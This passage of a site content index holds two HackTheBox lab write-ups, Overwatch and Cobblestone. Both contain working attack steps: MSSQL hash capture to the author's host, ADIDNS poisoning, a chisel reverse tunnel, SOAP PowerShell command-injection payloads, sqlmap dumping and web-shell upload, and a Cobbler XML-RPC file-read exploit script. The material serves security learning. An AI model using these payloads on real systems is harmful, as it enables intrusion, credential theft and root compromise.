rid:[0x485] user:[Eileen.Phillips] rid:[0x486] user:[Carl.Johnson] rid:[0x487] user:[Kevin.Newton] rid:[0x488] user:[Natalie.Higgins] rid:[0x489] user:[Francis.Weston] rid:[0x48a] user:[Benjamin.Davison] rid:[0x48b] user:[Martin.Kemp] rid:[0x48c] user:[Angela.Jones] rid:[0x48d] user:[Gareth.Ahmed] rid:[0x48e] user:[Deborah.Morgan] rid:[0x48f] user:[Grace.Taylor] rid:[0x490] user:[Roger.Hughes] rid:[0x491] user:[Albert.Barrett] rid:[0x492] user:[Grace.Curtis] rid:[0x493] user:[Marilyn.Griffiths] rid:[0x494] user:[Tracey.Barker] rid:[0x495] user:[Suzanne.Hughes] rid:[0x496] user:[Timothy.Jackson] rid:[0x497] user:[Beverley.Thompson] rid:[0x498] user:[Clare.Bartlett] rid:[0x499] user:[Irene.Johnson] rid:[0x49a] user:[Bernard.Wood] rid:[0x49b] user:[Frank.McCarthy] rid:[0x49c] user:[Elaine.Page] rid:[0x49d] user:[Elaine.Walker] rid:[0x49e] user:[Mohammad.Hill] rid:[0x49f] user:[Glenn.Field] rid:[0x4a0] user:[Deborah.Martin] rid:[0x4a1] user:[Gail.Sullivan] rid:[0x4a2] user:[Maureen.Kirby] rid:[0x4a3] user:[Georgina.Chambers] rid:[0x4a4] user:[Philip.Harris] rid:[0x4a5] user:[Samantha.Scott] rid:[0x4a6] user:[Ann.Hill] rid:[0x4a7] user:[Chloe.Cox] rid:[0x4a8] user:[Jamie.Gough] rid:[0x4a9] user:[Frederick.Hussain] rid:[0x4aa] user:[Dean.Hobbs] rid:[0x4ab] user:[Danielle.Moore] rid:[0x4ac] user:[Timothy.Smith] rid:[0x4ad] user:[Declan.Stone] rid:[0x4ae] user:[Jacob.Wilson] rid:[0x4af] user:[Gary.Elliott] rid:[0x4b0] user:[Peter.Slater] rid:[0x4b1] user:[Louise.Walton] rid:[0x4b2] user:[Brett.Haynes] rid:[0x4b3] user:[Elliot.Green] rid:[0x4b4] user:[Wendy.Williams] rid:[0x4b5] user:[Graham.Parker] rid:[0x4b6] user:[Abdul.Stevens] rid:[0x4b7] user:[Brett.Bailey] rid:[0x4b8] user:[Benjamin.Harrison] rid:[0x4b9] user:[Emily.Cooper] rid:[0x4ba] user:[Roger.Spencer] rid:[0x4bb] So now, we have a users.txt containing all of the usernames and we have a valid password. Intuitively, since I didn\u0026rsquo;t see an MSSQL server, I didn\u0026rsquo;t think of looking up the whole ports.\nFailure This was my mistake. I wasted so much time trying password spraying because I simply didn\u0026rsquo;t let a full ports scan running in the backgroup to check if there is anything running on an unusual port. Which shows how sticking to the basics is very important.\nFoothold - MSSQL # So now we re-run Nmap on a full ports scan to find our target:\nDiscovering MSSQL - Unusual port # bashnmap -sV -sC -vv -Pn -p- -T4 -oN nmap_full_ports $target This shows an MSSQL server on port 6520. So here we go:\nMSSQL Linked Servers # bash$ mssqlclient.py -windows-auth overwatch.htb/sqlsvc:\u0026#39;TI0LKcfHzZw1Vv\u0026#39;@overwatch.htb -port 6520 SQL (OVERWATCH\\sqlsvc guest@master)\u0026gt; enable_xp_cmdshell ERROR(S200401\\SQLEXPRESS): Line 105: User does not have permission to perform this action. ERROR(S200401\\SQLEXPRESS): Line 1: You do not have permission to run the RECONFIGURE statement. ERROR(S200401\\SQLEXPRESS): Line 62: The configuration option \u0026#39;xp_cmdshell\u0026#39; does not exist, or it may be an advanced option. ERROR(S200401\\SQLEXPRESS): Line 1: You do not have permission to run the RECONFIGURE statement. SQL (OVERWATCH\\sqlsvc guest@master)\u0026gt; enum_db name is_trustworthy_on --------- ----------------- master 0 tempdb 0 model 0 msdb 1 overwatch 0 SQL (OVERWATCH\\sqlsvc guest@master)\u0026gt; enum_links SRV_NAME SRV_PROVIDERNAME SRV_PRODUCT SRV_DATASOURCE SRV_PROVIDERSTRING SRV_LOCATION SRV_CAT ------------------ ---------------- ----------- ------------------ ------------------ ------------ ------- S200401\\SQLEXPRESS SQLNCLI SQL Server S200401\\SQLEXPRESS NULL NULL NULL SQL07 SQLNCLI SQL Server SQL07 NULL NULL NULL SQL (OVERWATCH\\sqlsvc guest@master)\u0026gt; SELECT * FROM OPENROWSET(BULK N\u0026#39;C:/Windows/System32/drivers/etc/hosts\u0026#39;, SINGLE_CLOB) AS Contents ERROR(S200401\\SQLEXPRESS): Line 1: You do not have permission to use the bulk load statement. So what do we have:\nOle Automation Procedures is disabled. xp_cmdshell is also unreachable for us. We dont\u0026rsquo;t have read access on files. A linked server called SQL07. Having a linked server, I thought of intercepting the service account hash running on SQL07.\nRunning responder on one terminal, and then running:\nsqlEXEC master..xp_dirtree \u0026#39;\\\\\u0026lt;IP\u0026gt;\\share\\\u0026#39; We can get the service account hash:\noutput[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned. [SMB] NTLMv2-SSP Client : 10.129.14.215 [SMB] NTLMv2-SSP Username : OVERWATCH\\S200401$ [SMB] NTLMv2-SSP Hash : S200401$::OVERWATCH:1122334455667788:FBC57B28538D0CCCFB50DB5CE999A2A2:010100000000000080DABC898E8DDC01EB7F62D15A9B162700000000020008004E00560056004F0001001E00570049004E002D005A00460048003800560056004500570058005300340004003400570049004E002D005A0046004800380056005600450057005800530034002E004E00560056004F002E004C004F00430041004C00030014004E00560056004F002E004C004F00430041004C00050014004E00560056004F002E004C004F00430041004C000700080080DABC898E8DDC0106000400020000000800300030000000000000000000000000300000EA9D3ECAA639D55B57C2608AAF48985E352955AE0BFFAB71F8E2CEA962D2B36B0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310036002E003200310038000000000000000000 What do we have (or we don\u0026rsquo;t have):\nThe hash isn\u0026rsquo;t crackable. Relaying didn\u0026rsquo;t work (signing is enabled). We can\u0026rsquo;t execute anything on the target server User Flag: ADIDNS Poisoning # There is an interesting attack vector:\nLLMNR Poisoning\nSo if we can get to overwrite DNS records of the SQL07 we can get the DC to authenticate to us thus intercepting its credentials.\nHere is more about NTLM and LLMNR/DNS in Windows Environments.\nThis could be done using dnstool.py.\nSo we can run:\nbash$ dnstool.py -u \u0026#39;overwatch.htb\\sqlsvc\u0026#39; -p \u0026#39;TI0LKcfHzZw1Vv\u0026#39; -r \u0026#39;SQL07\u0026#39; -a add -d \u0026#39;10.10.16.218\u0026#39; $target [-] Connecting to host... [-] Binding to host [+] Bind OK [-] Adding new record [+] LDAP operation completed successfully Which is confirmed using:\nbash$ dig any @$target SQL07.overwatch.htb \u0026lt;SNIP\u0026gt; SQL07.overwatch.htb.\t180\tIN\tA\t10.10.16.218 \u0026lt;SNIP\u0026gt; So we successfully modified DNS record of the SQL07 and let\u0026rsquo;s intercept its account credentials.\nbash$ mssqlclient.py \u0026#39;overwatch.htb/sqlsvc:TI0LKcfHzZw1Vv@10.129.15.6\u0026#39; -port 6520 -windows-auth SQL (OVERWATCH\\sqlsvc guest@master)\u0026gt; SELECT * FROM [SQL07].master.sys.databases; INFO(S200401\\SQLEXPRESS): Line 1: OLE DB provider \u0026#34;MSOLEDBSQL\u0026#34; for linked server \u0026#34;SQL07\u0026#34; returned message \u0026#34;Communication link failure\u0026#34;. ERROR(MSOLEDBSQL): Line 0: TCP Provider: An existing connection was forcibly closed by the remote host. Evilwinrm # bash$ evil-winrm -i $target -u \u0026#39;sqlmgmt\u0026#39; -p \u0026#39;bIhBbzMMnB82yx\u0026#39; *Evil-WinRM* PS C:\\Users\\sqlmgmt\\Documents\u0026gt; cat ../Desktop/user.txt \u0026lt;USER FLAG\u0026gt; User Owned User owned! Let\u0026rsquo;s move on.\nPrivilege Escalation # WinPEAS.exe # Runing winPEAS didn\u0026rsquo;t show any vulnerabilities or weird privileges..etc.\nBUT, remember that internal Monitoring service we mentionned when we found the overwatch.exe.config? That\u0026rsquo;s our target.\nInternal Monitoring Service # We need to port forward that service (it is confimed running). For that I used chisel:\noutputexegolchisel server -p 9001 --reverse And on the target:\noutputtarget*Evil-WinRM* PS C:\\Users\\sqlmgmt\\Documents\u0026gt; .\\chisel.exe client \u0026lt;MY-IP\u0026gt;:9001 R:8000:127.0.0.1:8000 Visiting http://localhost:8000/MonitorService Give us this web page:\nAs it is said, let\u0026rsquo;s aim for that http://127.0.0.1:8000/MonitorService\\?singleWsdl.\nbash$ curl http://127.0.0.1:8000/MonitorService\\?singleWsdl -o monitor.wsdl This was a very verbose output.\nThis URL triggers the service to generate a WSDL (Web Services Description Language) file, which is essentially the \u0026ldquo;instruction manual\u0026rdquo; for the service. Unlike a standard web page, this output is a structured XML document that defines every function the service supports, the parameters they require, and the exact format needed to communicate with them.\nKey Elements in the WSDL Output:\nwsdl:operation name=\u0026quot;KillProcess\u0026quot;: This is the most critical find. It revealed the existence of an \u0026ldquo;Action\u0026rdquo; that interacts with the OS. Given the service\u0026rsquo;s likely high privileges, this became our primary injection target.\nsoap:operation soapAction=\u0026quot;...\u0026quot;: This provided the exact SOAPAction header (http://tempuri.org/IMonitoringService/KillProcess) required in our curl request. Without this, the server would not know which internal function to trigger.\nxs:element name=\u0026quot;processName\u0026quot;: Inside the wsdl:types section, this defined the input variable. Knowing that it expected a string allowed us to craft a payload that broke out of the string context using a semicolon (;) to achieve command injection.\nxmlns:tns=\u0026quot;http://tempuri.org/\u0026quot;: This confirmed the Target Namespace, which is necessary for the XML envelope to be properly \u0026ldquo;routed\u0026rdquo; by the WCF dispatcher.\nHere is more about SOAP and XML SOAP\nTuning our payload on-error # First payload - Triggering Rrrors # I tried crafting an initial payload to test for the return:\nxml\u0026lt;soapenv:Envelope xmlns:soapenv=\u0026#34;http://schemas.xmlsoap.org/soap/envelope/\u0026#34; xmlns:tem=\u0026#34;http://tempuri.org/\u0026#34;\u0026gt; \u0026lt;soapenv:Header/\u0026gt; \u0026lt;soapenv:Body\u0026gt; \u0026lt;tem:KillProcess\u0026gt; \u0026lt;tem:processName\u0026gt;whatever \u0026amp;amp; whoami \u0026amp;gt; C:\\Users\\sqlmgmt\\Documents\\out.txt\u0026lt;/tem:processName\u0026gt; \u0026lt;/tem:KillProcess\u0026gt; \u0026lt;/soapenv:Body\u0026gt; \u0026lt;/soapenv:Envelope\u0026gt; And then send it:\nbashcurl -X POST -H \u0026#34;Content-Type: text/xml; charset=utf-8\u0026#34; \\ -H \u0026#34;SOAPAction: \\\u0026#34;http://tempuri.org/IMonitoringService/KillProcess\\\u0026#34;\u0026#34; \\ -d @payload.xml \\ http://127.0.0.1:8000/MonitorService Which return great clue:\nbash\u0026lt;s:Envelope xmlns:s=\u0026#34;http://schemas.xmlsoap.org/soap/envelope/\u0026#34;\u0026gt;\u0026lt;s:Body\u0026gt;\u0026lt;KillProcessResponse xmlns=\u0026#34;http://tempuri.org/\u0026#34;\u0026gt;\u0026lt;KillProcessResult\u0026gt;Error: At line:1 char:34\u0026amp;#xD; + Stop-Process -Name something.exe \u0026amp;amp; whoami \u0026amp;gt; C:\\Users\\sqlmgmt\\Document ...\u0026amp;#xD; + ~ The ampersand (\u0026amp;amp;) character is not allowed. The \u0026amp;amp; operator is reserved for future use; wrap an ampersand in double quotation marks (\u0026#34;\u0026amp;amp;\u0026#34;) to pass it as part of a string.\u0026lt;/KillProcessResult\u0026gt;\u0026lt;/KillProcessResponse\u0026gt;\u0026lt;/s:Body\u0026gt;\u0026lt;/s:Envelope\u0026gt;# Which shows the powershell backend executing our payload. This allows us to fine tune our payload based on the returned errors.\nA better Payload - Sucessful Redirection # xml\u0026lt;soapenv:Envelope xmlns:soapenv=\u0026#34;http://schemas.xmlsoap.org/soap/envelope/\u0026#34; xmlns:tem=\u0026#34;http://tempuri.org/\u0026#34;\u0026gt; \u0026lt;soapenv:Header/\u0026gt; \u0026lt;soapenv:Body\u0026gt; \u0026lt;tem:KillProcess\u0026gt; \u0026lt;tem:processName\u0026gt;calc; whoami \u0026gt; C:\\Users\\sqlmgmt\\Documents\\out.txt\u0026lt;/tem:processName\u0026gt; \u0026lt;/tem:KillProcess\u0026gt; \u0026lt;/soapenv:Body\u0026gt; \u0026lt;/soapenv:Envelope\u0026gt; And then send it:\nbash$ curl -X POST -H \u0026#34;Content-Type: text/xml; charset=utf-8\u0026#34; \\ -H \u0026#34;SOAPAction: \\\u0026#34;http://tempuri.org/IMonitoringService/KillProcess\\\u0026#34;\u0026#34; \\ -d @payload.xml \\ http://127.0.0.1:8000/MonitorService \u0026lt;s:Envelope xmlns:s=\u0026#34;http://schemas.xmlsoap.org/soap/envelope/\u0026#34;\u0026gt;\u0026lt;s:Body\u0026gt;\u0026lt;KillProcessResponse xmlns=\u0026#34;http://tempuri.org/\u0026#34;\u0026gt;\u0026lt;KillProcessResult\u0026gt;\u0026amp;#xD; \u0026lt;/KillProcessResult\u0026gt;\u0026lt;/KillProcessResponse\u0026gt;\u0026lt;/s:Body\u0026gt;\u0026lt;/s:Envelope\u0026gt;# *Evil-WinRM* PS C:\\Users\\sqlmgmt\\Documents\u0026gt; ls Directory: C:\\Users\\sqlmgmt\\Documents Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 1/24/2026 5:41 PM 10612224 chisel.exe -a---- 1/24/2026 6:16 PM 0 out.txt -a---- 1/24/2026 5:23 PM 10170880 winPEASx64.exe -a---- 1/24/2026 5:17 PM 40344 winPEASx86.exe cat *Evil-WinRM* PS C:\\Users\\sqlmgmt\\Documents\u0026gt; cat \u0026#34;C:/Users/sqlmgmt/Documents/out.txt\u0026#34; *Evil-WinRM* PS C:\\Users\\sqlmgmt\\Documents\u0026gt; Sucessful Execution Upon seeing a succesful execution of the script and we have created out.txt, I aimed for a reverse shell. This was a great mistake. All the payloads failed, when I should\u0026rsquo;ve just aimed at reading the content of C:\\Users\\Administrator\\Desktop\\root.txt.\nRoot Flag # My way to read the flag. The tricky part is that trying to read the content of the file, copying it or moving it will fail. This could be evaded using the Powershel throw statement.\nxml\u0026lt;soapenv:Envelope xmlns:soapenv=\u0026#34;http://schemas.xmlsoap.org/soap/envelope/\u0026#34; xmlns:tem=\u0026#34;http://tempuri.org/\u0026#34;\u0026gt; \u0026lt;soapenv:Header/\u0026gt; \u0026lt;soapenv:Body\u0026gt; \u0026lt;tem:KillProcess\u0026gt; \u0026lt;tem:processName\u0026gt;dummy; $f=Get-Content C:\\Users\\Administrator\\Desktop\\root.txt; throw $f #\u0026lt;/tem:processName\u0026gt; \u0026lt;/tem:KillProcess\u0026gt; \u0026lt;/soapenv:Body\u0026gt; \u0026lt;/soapenv:Envelope\u0026gt; By using throw $f, I intentionally crashed the PowerShell script and forced the variable $f (which held the flag) into the error message. Because the WCF service is configured to return backend errors to the user for debugging purposes, it \u0026ldquo;leaked\u0026rdquo; the flag directly into the SOAP response.\nbash$ curl -X POST -H \u0026#34;Content-Type: text/xml; charset=utf-8\u0026#34; \\ -H \u0026#34;SOAPAction: \\\u0026#34;http://tempuri.org/IMonitoringService/KillProcess\\\u0026#34;\u0026#34; \\ -d @payload.xml \\ http://127.0.0.1:8000/MonitorService \u0026lt;s:Envelope xmlns:s=\u0026#34;http://schemas.xmlsoap.org/soap/envelope/\u0026#34;\u0026gt;\u0026lt;s:Body\u0026gt;\u0026lt;KillProcessResponse xmlns=\u0026#34;http://tempuri.org/\u0026#34;\u0026gt;\u0026lt;KillProcessResult\u0026gt;Error: \u0026lt;ROOT FLAG\u0026gt;\u0026lt;/KillProcessResult\u0026gt;\u0026lt;/KillProcessResponse\u0026gt;\u0026lt;/s:Body\u0026gt;\u0026lt;/s:Envelope\u0026gt;# Rooted Rooted! Great interesting machine. GG to the Author!\n","date":"25 January 2026","externalUrl":null,"permalink":"/writeups/htb-overwatch/","section":"Writeups","summary":"Medium-rated HackTheBox Windows Lab.","title":"Hackthebox - Overwatch","type":"writeups"},{"content":"","date":"25 January 2026","externalUrl":null,"permalink":"/tags/ldap/","section":"Tags","summary":"","title":"Ldap","type":"tags"},{"content":"","date":"25 January 2026","externalUrl":null,"permalink":"/tags/linked-server/","section":"Tags","summary":"","title":"Linked-Server","type":"tags"},{"content":"","date":"25 January 2026","externalUrl":null,"permalink":"/tags/mssql/","section":"Tags","summary":"","title":"Mssql","type":"tags"},{"content":"","date":"25 January 2026","externalUrl":null,"permalink":"/tags/ntlmv2/","section":"Tags","summary":"","title":"Ntlmv2","type":"tags"},{"content":"","date":"25 January 2026","externalUrl":null,"permalink":"/tags/null-session/","section":"Tags","summary":"","title":"Null-Session","type":"tags"},{"content":"","date":"25 January 2026","externalUrl":null,"permalink":"/tags/powershell/","section":"Tags","summary":"","title":"Powershell","type":"tags"},{"content":"","date":"25 January 2026","externalUrl":null,"permalink":"/tags/reverse-engineering/","section":"Tags","summary":"","title":"Reverse-Engineering","type":"tags"},{"content":"","date":"25 January 2026","externalUrl":null,"permalink":"/tags/rpc/","section":"Tags","summary":"","title":"Rpc","type":"tags"},{"content":"","date":"25 January 2026","externalUrl":null,"permalink":"/tags/smb/","section":"Tags","summary":"","title":"Smb","type":"tags"},{"content":"","date":"25 January 2026","externalUrl":null,"permalink":"/tags/wcf/","section":"Tags","summary":"","title":"Wcf","type":"tags"},{"content":"","date":"25 January 2026","externalUrl":null,"permalink":"/os/windows/","section":"Os","summary":"","title":"Windows","type":"os"},{"content":"","date":"25 January 2026","externalUrl":null,"permalink":"/tags/winrm/","section":"Tags","summary":"","title":"Winrm","type":"tags"},{"content":"","date":"16 August 2025","externalUrl":null,"permalink":"/tags/cobbler/","section":"Tags","summary":"","title":"Cobbler","type":"tags"},{"content":"","date":"16 August 2025","externalUrl":null,"permalink":"/tags/cve-2024-1433/","section":"Tags","summary":"","title":"Cve-2024-1433","type":"tags"},{"content":" TL;DR** # TL;DR The web app had a SQL injection in the suggestion feature, exploitable with sqlmap. Dumping the database revealed user credentials, including a hash. Cracking the hash gave access to the foothold user shell. On the system, the Cobbler service was running internally, which can be abused by manipulating system templates/profiles. By exploiting Cobbler, it’s possible to execute commands as root. To reach the Cobbler service, SSH port forwarding was required to expose the local/internal port for exploitation. Enumeration # Nmap # The usual basic nmap scan:\nbash$ nmap $target -sV -sC -vv -Pn -oN cobble-def PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0) | ssh-hostkey: | 256 50:ef:5f:db:82:03:36:51:27:6c:6b:a6:fc:3f:5a:9f (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBCfBUkQ4sz y00s+EbTzIMq4Cv/mOkGWCD8xewIgvZ4zDI5pPhUaVYNsPaUmYzXgi0DzCy6s//8a1YFcyH398Nc= | 256 e2:1d:f3:e9:6a:ce:fb:e0:13:9b:07:91:28:38:ec:5d (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICuDtua7ciUfRA2uUH+ergsCOdq0Aaoakru1kQ9/OWPs 80/tcp open http syn-ack ttl 63 Apache httpd 2.4.62 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.62 (Debian) |_http-title: Cobblestone - Official Website Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel A UDP and full ports TCP scan showed some services running, but nothing useful now. Subdomains # Upon visiting the website, we find three domains to visit:\nbashecho 10.10.11.81 cobblestone.htb vote.cobblestone.htb deploy.cobblestone.htb And we\u0026rsquo;re facing the following web app:\nBasic web recon # Here is what wappalyzer showed:\nWith whatweb:\nbash$ whatweb cobblestone.htb ERROR Opening: https://cobblestone.htb - Connection refused - connect(2) for \u0026#34;10.10.11.81\u0026#34; port 443 http://cobblestone.htb [200 OK] Apache[2.4.62], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.62 (Debian)], IP[10.10.11.81], JQuery, Script[text/javascript], Title[Cobblestone - Official Website] Fuzzing # I ran Ffuf for both vhosts and directories, nothing out of the usual or important. We move on to the website.\nPoking Around the website # Main Domain # Visiting the main domain cobblestone.htb, we find a portal to suggest a Minecraft skin to upload to the website. There are some default skins, I tried suggesting an already existing skin name, with an invalid IP, and it passed through saying that\u0026rsquo;ll be reviewed by the admin.\nI even tried setting up a simple python3 HTTP server, to see if something gets requested, but it lead to nothing.\nVoting subdomain # The databases for cobblestone.htb and vote.cobblestone.htb aren\u0026rsquo;t the same, logging in with the user already created at the main platform didn\u0026rsquo;t authenticate us through the vote.cobblestone.htb.\nSo after creating a new account we\u0026rsquo;re facing this:\nAnd all the three already set suggested servers to vote for, aren\u0026rsquo;t approved yet. Furthermore, setting up a python server and suggesting it will be passed on, but not approved.\nAnd the actual upvoting isn\u0026rsquo;t yet set up:\nFoothold # Now, testing for SQLi in the suggestion of the minecraft server proved fruitful.\nbashsqlmap -r request.txt -p url --dbs --batch Note that request.txt is the request intercepted from burpsuite while voting for a website. outputPOST /suggest.php HTTP/1.1 Host: vote.cobblestone.htb Content-Length: 23 Cache-Control: max-age=0 Origin: http://vote.cobblestone.htb Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://vote.cobblestone.htb/index.php Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=2g3hf8jia64thhp0vnlgpahoi4 Connection: keep-alive url=10.10.14.194%3A9443 So we\u0026rsquo;re into something. The field is indeed vulnerable. To test that even more:\nshellsqlmap -r request.txt -p url -D vote --tables --batch User Flag # Poking around the databse, we can dump this:\nNote that evil@sal.htb was my account, so this databse is useless for now, it\u0026rsquo;s not of internal shit. We won\u0026rsquo;t attempt to crack the admin\u0026rsquo;s password, it may even be an account created by another player, not the actual DB admin.\nThis was my greatest mistake. What you\u0026rsquo;ve just read is me on my way to waste hours trying to get a reverse shell. Which was successful at the end, but literally useless because the objective was to crack the cobble user hash and SSH into it. Using crackstation, few seconds and we got the user cobble and the user flag.\nUser Flag captured! Pre-User Time-Wasting # These are some of what I did to gain a rev shell back to my machine. Switching the vpns, UDP to TCP\u0026hellip;etc but banging my head against the wall aren\u0026rsquo;t included. bashsqlmap -r request.txt -p url -D vote -T users --dump --batch --no-cast Now we\u0026rsquo;ll go for testing an upload vulnerability. First with a dummy file:\nbashecho test \u0026gt; /tmp/test.txt bashsqlmap -r request.txt -p url --file-write=/tmp/test.txt --file-dest=/var/www/html/test.txt The upload is possible, so we try a simple PHP payload:\noutputshell.php\u0026lt;?php system($_GET[\u0026#39;cmd\u0026#39;]); ?\u0026gt; bashsqlmap -r request.txt -p url --file-write=shell.php --file-dest=/var/www/html/shell.php Which is then confirmed:\nbashcurl \u0026#34;http://cobblestone.htb/shell.php?cmd=id\u0026#34; --output - uid=33(www-data) gid=33(www-data) groups=33(www-data) At this point, I tried a lot of PHP rev shell payloads, uploaded them and accessing them lead to no hitback on the listener. The only way it worked was to upload a bash reverse shell to the server, and then execute it, all through curl. And proved correct:\nPrivilege Escalation # For privilege escalation, we have a very restricted shell, which was painfully reallistic. Until.\nRunning ss:\nbashss -tulnp And we have a service at port TCP/25115. This was cobbler\u0026rsquo;s used port. Check out what is the Cobbler service.\nCobbler is a Linux provisioning and deployment server designed to simplify the setup of network-based installations. It allows administrators to automatically install operating systems, manage system profiles, and configure network boot environments (PXE) across many machines. Key features include:\nOS provisioning: Automates the installation of Linux distributions on bare-metal or virtual machines.\nProfile management: Defines templates for system configurations, including packages, scripts, and network settings.\nPXE boot integration: Supports network booting for unattended installations.\nTemplate and scripting support: Uses templates (Cheetah) for scripts and configuration files to customize installations.\nEssentially, Cobbler streamlines large-scale deployments, making it easier to manage multiple systems consistently and automatically.\nSo to see what\u0026rsquo;s being hosted in that port, we port forward it using:\nbashssh -L 25115:localhost:25115 cobbler@cobblestone.htb Reading what\u0026rsquo;s on this page, leads to the direct solution.\nHere is what we\u0026rsquo;re going to do:\nThe privilege escalation relied on a critical vulnerability in Cobbler (≤ 3.2.1), which exposes an XML-RPC API for managing profiles, systems, and templates. The vulnerability arises because Cobbler’s generate_script method renders templates using Cheetah without proper input sanitization. This allows an attacker to perform a template injection, executing arbitrary Python code as the user running Cobbler (typically root). By crafting a malicious template and forcing Cobbler to render it—either through profile or system manipulation—the attacker could execute commands with root privileges, effectively taking full control of the system. pythonimport xmlrpc.client import traceback COBBLER_URL = \u0026#34;http://127.0.0.1:25151/RPC2\u0026#34; TARGET_FILE = \u0026#34;/root/root.txt\u0026#34; # The file you want to read DEST_FILE = \u0026#34;/leak\u0026#34; # Template destination in Cobbler def connect(): try: return xmlrpc.client.ServerProxy(COBBLER_URL, allow_none=True) except: traceback.print_exc() return None srv = connect() tok = srv.login(\u0026#34;\u0026#34;, -1) # 1. Create a distro did = srv.new_distro(tok) srv.modify_distro(did, \u0026#34;name\u0026#34;, \u0026#34;pwn_distro\u0026#34;, tok) srv.modify_distro(did, \u0026#34;arch\u0026#34;, \u0026#34;x86_64\u0026#34;, tok) srv.modify_distro(did, \u0026#34;breed\u0026#34;, \u0026#34;redhat\u0026#34;, tok) srv.modify_distro(did, \u0026#34;kernel\u0026#34;, \u0026#34;/boot/vmlinuz-6.1.0-37-amd64\u0026#34;, tok) srv.modify_distro(did, \u0026#34;initrd\u0026#34;, \u0026#34;/boot/initrd.img-6.1.0-37-amd64\u0026#34;, tok) srv.save_distro(did, tok) # 2. Create a profile pid = srv.new_profile(tok) srv.modify_profile(pid, \u0026#34;name\u0026#34;, \u0026#34;pwn_profile\u0026#34;, tok) srv.modify_profile(pid, \u0026#34;distro\u0026#34;, \u0026#34;pwn_distro\u0026#34;, tok) srv.save_profile(pid, tok) # 3. Create a system pointing to the target file sid = srv.new_system(tok) srv.modify_system(sid, \u0026#34;name\u0026#34;, \u0026#34;pwnsys\u0026#34;, tok) srv.modify_system(sid, \u0026#34;profile\u0026#34;, \u0026#34;pwn_profile\u0026#34;, tok) srv.modify_system(sid, \u0026#34;template_files\u0026#34;, {TARGET_FILE: DEST_FILE}, tok) srv.save_system(sid, tok) # 4. Sync changes srv.sync(tok) print(\u0026#34;[+] Malicious system created.\u0026#34;) print(\u0026#34;[+] You can now trigger it using curl to read the file.\u0026#34;) After running the previous python script, we can request the flag at /root/root.txt using:\nbashcurl -X POST http://127.0.0.1:25151 \\ -H \u0026#34;Content-Type: text/xml\u0026#34; \\ -d \u0026#39;\u0026lt;?xml version=\u0026#34;1.0\u0026#34;?\u0026gt; \u0026lt;methodCall\u0026gt; \u0026lt;methodName\u0026gt;get_template_file_for_system\u0026lt;/methodName\u0026gt; \u0026lt;params\u0026gt; \u0026lt;param\u0026gt;\u0026lt;value\u0026gt;\u0026lt;string\u0026gt;pwnsys\u0026lt;/string\u0026gt;\u0026lt;/value\u0026gt;\u0026lt;/param\u0026gt; \u0026lt;param\u0026gt;\u0026lt;value\u0026gt;\u0026lt;string\u0026gt;/leak\u0026lt;/string\u0026gt;\u0026lt;/value\u0026gt;\u0026lt;/param\u0026gt; \u0026lt;/params\u0026gt; \u0026lt;/methodCall\u0026gt;\u0026#39; Within the request sent back to us, we will have the flag as a response within the XML returned.\nThe Python script interacts with Cobbler’s XML-RPC API to exploit the template rendering vulnerability. It performs several actions to manipulate the system configuration and template files:\nLogin:\nUses srv.login(\u0026quot;\u0026quot;, -1) to authenticate with the Cobbler server (empty credentials are accepted for unauthenticated access).\nCreate a new distribution:\nCalls srv.new_distro(tok) to create a custom distribution object, then sets fields such as:\nname → “pwn_distro” arch → “x86_64” breed → “redhat” kernel → path to the kernel (/boot/vmlinuz-6.1.0-37-amd64) initrd → path to the initrd image (/boot/initrd.img-6.1.0-37-amd64) Saves the distribution with srv.save_distro(did, tok) Create a new profile:\nCalls srv.new_profile(tok) and assigns the distribution, naming the profile “pwn_profile,” then saves it.\nCreate a new system:\nCalls srv.new_system(tok) to register a system, sets:\nname → “pwnsys” profile → “pwn_profile” template_files → a dictionary mapping the target file (/root/root.txt) to a location inside the template system (/leak) Saves the system and calls srv.sync(tok) to apply changes. Final curl command:\nSends a POST request to Cobbler’s XML-RPC endpoint to call get_template_file_for_system with the system name and the template path (/leak), causing Cobbler to render the template and return the contents of the target file.\nThis combination allows reading arbitrary files or potentially executing code because Cobbler renders templates as root, exploiting the template injection vulnerability.\nRooted! ","date":"16 August 2025","externalUrl":null,"permalink":"/writeups/htb-cobblestone/","section":"Writeups","summary":"Instane-rated HackTheBox Linux Lab.","title":"HackTheBox - Cobblestone","type":"writeups"},{"content":"","date":"16 August 2025","externalUrl":null,"permalink":"/difficulty/insane/","section":"Difficulty","summary":"","title":"Insane","type":"difficulty"},{"content":"","date":"16 August 2025","externalUrl":null,"permalink":"/tags/php/","section":"Tags","summary":"","title":"Php","type":"tags"},{"content":"","date":"16 August 2025","externalUrl":null,"permalink":"/tags/sql-injection/","section":"Tags","summary":"","title":"Sql-Injection","type":"tags"},{"content":"","date":"16 August 2025","externalUrl":null,"permalink":"/tags/template-injection/","section":"Tags","summary":"","title":"Template-Injection","type":"tags"},{"content":"","date":"16 August 2025","externalUrl":null,"permalink":"/tags/xml-rpc/","section":"Tags","summary":"","title":"Xml-Rpc","type":"tags"},{"content":"","date":"15 August 2025","externalUrl":null,"permalink":"/tags/3des/","section":"Tags","summary":"","title":"3des","type":"tags"},{"content":"","date":"15 August 2025","externalUrl":null,"permalink":"/tags/authenticated-rce/","section":"Tags","summary":"","title":"Authenticated-Rce","type":"tags"},{"content":"","date":"15 August 